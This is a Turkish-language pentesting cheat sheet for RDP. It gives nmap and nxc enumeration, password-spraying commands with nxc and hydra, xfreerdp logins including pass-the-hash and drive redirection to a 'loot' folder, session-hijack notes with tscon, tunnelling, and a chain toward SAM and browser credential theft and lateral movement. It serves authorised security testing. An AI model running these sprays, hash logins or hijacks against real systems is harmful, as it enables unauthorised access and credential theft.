Skip to content

RDP Pentesting

RDP difficulty: orta

RDP, Windows yönetim erişiminin görsel yüzüdür. NLA, hesap kilidi, BlueKeep benzeri tarihsel CVE’ler ve oturum hijack senaryoları angajmanda sık geçer.

Ön koşullar

Section titled “Ön koşullar”
- Hedef IP, domain/local kullanıcı listesi (opsiyonel)
- Araçlar: nmap, nxc, hydra, xfreerdp, rdesktop, crackmapexec/nxc

Metodoloji

Section titled “Metodoloji”

  1. Servis/sürüm, NLA ve sertifika bilgisini topla.

  2. Kilitleme politikasına göre dikkatli sprey veya bilinen parola dene.

  3. Bağlantı sonrası yerel admin mi, restricted admin / PtH mümkün mü bak.

  4. Oturumlar, clipboard/drive redirect ve pivot için tüneli değerlendir.

Enumeration

Section titled “Enumeration”
Terminal window
nmap -p3389 -sV --script rdp-enum-encryption,rdp-ntlm-info,rdp-vuln-ms12-020 10.10.10.5
Terminal window
nxc rdp 10.10.10.5
Terminal window
nxc rdp 10.10.10.0/24
Terminal window
rdp-sec-check.pl 10.10.10.5
Terminal window
nmap -p3389 --script ssl-cert 10.10.10.5

rdp-ntlm-info domain, hostname ve NLA ipuçları verir.

Kimlik doğrulama & spray

Section titled “Kimlik doğrulama & spray”
Terminal window
nxc rdp 10.10.10.5 -u user -p 'Pass123!'
Terminal window
nxc rdp 10.10.10.0/24 -u users.txt -p 'Sonbahar2025!' --continue-on-success
Terminal window
hydra -L users.txt -P pass.txt rdp://10.10.10.5
Terminal window
# domain
nxc rdp 10.10.10.5 -d HEDEF -u user -p 'Pass123!'

Spray öncesi SMB/LDAP ile lockout eşiğini öğren: Password Attacks.

Bağlantı

Section titled “Bağlantı”
Terminal window
xfreerdp /u:user /p:'Pass123!' /v:10.10.10.5 /dynamic-resolution
Terminal window
xfreerdp /u:user /d:HEDEF /p:'Pass123!' /v:10.10.10.5 +clipboard /drive:share,/tmp/loot
Terminal window
xfreerdp /u:admin /pth:NTLMHASH /v:10.10.10.5
Terminal window
rdesktop -u user -p Pass123! 10.10.10.5

Restricted Admin / PtH için Pass-the-Hash.

Zafiyet notları

Section titled “Zafiyet notları”
Terminal window
nmap -p3389 --script rdp-vuln-ms12-020 10.10.10.5
BlueKeep (CVE-2019-0708) — eski Windows; exploit gürültülü/riskli, RoE şart
NLA kapalı → pre-auth bilgi / bazı saldırı yüzeyleri genişler

Oturum & hijack (yüksek yetki)

Section titled “Oturum & hijack (yüksek yetki)”

Yerel SYSTEM/admin olduktan sonra mevcut RDP oturumlarına geçiş (tscon vb.) kırmızı ekip senaryolarında görülür; üretimde kullanıcı oturumunu ele almak RoE’ye bağlıdır.

Terminal window
query user
Terminal window
qwinsta
Terminal window
# örnek kavram: sc oluşturup tscon ile session'a geçiş (yüksek yetki)

Tünel

Section titled “Tünel”
Terminal window
ssh -L 3389:10.10.10.5:3389 user@bastion
Terminal window
xfreerdp /u:user /p:'Pass123!' /v:127.0.0.1:3389
Terminal window
# ligolo / chisel ile 3389 forward — bkz. pivoting

Pivoting.

Komut üreteci

Section titled “Komut üreteci”

xfreerdp · bağlan

embedded tool
Generated command
xfreerdp /u:user /p:'Pass123!' /v:10.10.10.5 /dynamic-resolution

xfreerdp · bağlan

Section titled “xfreerdp · bağlan”

Zincir

Section titled “Zincir”
nxc rdp CIDR → geçerli user:pass
  → xfreerdp +clipboard /drive
  → loot SAM / browser → PtH lateral